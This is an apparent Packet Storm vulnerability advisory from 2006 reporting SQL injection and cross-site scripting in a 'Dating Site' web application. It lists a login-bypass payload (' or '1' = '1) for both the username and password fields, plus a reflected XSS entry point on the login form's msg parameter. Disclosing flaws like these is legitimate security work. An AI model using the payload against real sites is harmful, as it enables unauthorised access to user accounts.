datingbypass.txt

2006-11-18T00:00:00
ID PACKETSTORM:52254
Type packetstorm
Reporter benjamin moss
Modified 2006-11-18T00:00:00

Description

                                        
                                            `vendor site:http://www.hotwebapp.com/  
product:Dating Site  
bug:injection sql & xss  
risk:high  
  
  
  
log in with :  
username = ' or '1' = '1  
passwd = ' or '1' = '1  
  
xss get :  
/login_form.asp?msg=[xss here]  
  
  
  
  
laurent gaffié & benjamin mossé  
http://s-a-p.ca/  
contact: saps.audit@gmail.com  
`